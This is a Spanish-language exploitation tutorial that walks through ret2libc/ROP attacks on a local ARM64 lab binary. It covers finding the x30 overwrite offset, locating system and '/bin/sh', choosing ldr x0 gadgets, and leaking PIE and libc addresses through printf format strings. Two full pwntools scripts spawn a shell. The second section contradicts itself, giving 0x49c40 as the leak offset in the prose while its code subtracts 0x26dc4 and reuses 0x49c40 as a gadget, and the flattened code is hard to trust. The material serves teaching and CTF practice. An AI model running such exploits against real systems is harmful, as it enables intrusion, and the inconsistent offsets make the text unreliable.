Creando un patrón con pattern create 200, utilizándolo y verificando el desplazamiento con pattern search $x30 podemos ver que el desplazamiento es 108 (0x6c).
Al observar la función principal desensamblada, podemos ver que queremos saltar a la instrucción para saltar directamente a printf, cuyo desplazamiento desde donde se carga el binario es 0x860:
Encontrar system y la cadena /bin/sh
Dado que ASLR está deshabilitado, las direcciones siempre serán las mismas:
Encontrar Gadgets
Necesitamos tener en x0 la dirección de la cadena /bin/sh y llamar a system.
Este gadget cargará x0 desde $sp + 0x18 y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Con este gadget podemos controlar el primer argumento y luego saltar a system.
Explotar
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload):p.recv()p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - Bypass de NX, ASLR y PIE con fugas de printf desde la pila
Abuso de desbordamiento de búfer para regresar a main
Ronda 2:
Fuga de libc desde la pila
ROP: ret2system
Fugas de Printf
Estableciendo un punto de interrupción antes de llamar a printf es posible ver que hay direcciones a las que regresar en el binario en la pila y también direcciones de libc:
Probando diferentes desplazamientos, %21$p puede filtrar una dirección binaria (bypass de PIE) y %25$p puede filtrar una dirección de libc:
Restando la dirección filtrada de libc con la dirección base de libc, es posible ver que el desplazamiento de la dirección filtrada desde la base es 0x49c40.
Desplazamiento x30
Ver el ejemplo anterior ya que el desbordamiento de búfer es el mismo.
Encontrar Gadgets
Como en el ejemplo anterior, necesitamos tener en x0 la dirección de la cadena /bin/sh y llamar a system.
Usando rooper se encontró otro gadget interesante:
Este gadget cargará x0 desde $sp + 0x78 y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Con este gadget podemos controlar el primer argumento y luego saltar a system.
Explotar
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")defleak_printf(payload,is_main_addr=False):p.sendlineafter(b">\n" ,payload)response = p.recvline().strip()[2:] #Remove new line and "0x" prefixif is_main_addr:response = response[:-4]+b"0000"returnint(response, 16)defexpl_bof(payload):p.recv()p.sendline(payload)# Get main addressmain_address =leak_printf(b"%21$p", True)print(f"Bin address: {hex(main_address)}")# Ret2mainstack_offset =108main_call_printf_offset =0x860#Offset inside main to call printfleakprint("Going back to "+str(hex(main_address + main_call_printf_offset)))ret2main =b"A"*stack_offset +p64(main_address + main_call_printf_offset)expl_bof(ret2main)# libclibc_base_address =leak_printf(b"%25$p")-0x26dc4libc.address = libc_base_addressprint(f"Libc address: {hex(libc_base_address)}")binsh =next(libc.search(b"/bin/sh"))system = libc.sym["system"]# ret2systemldr_x0_ret =p64(libc.address +0x49c40)# ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x78-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()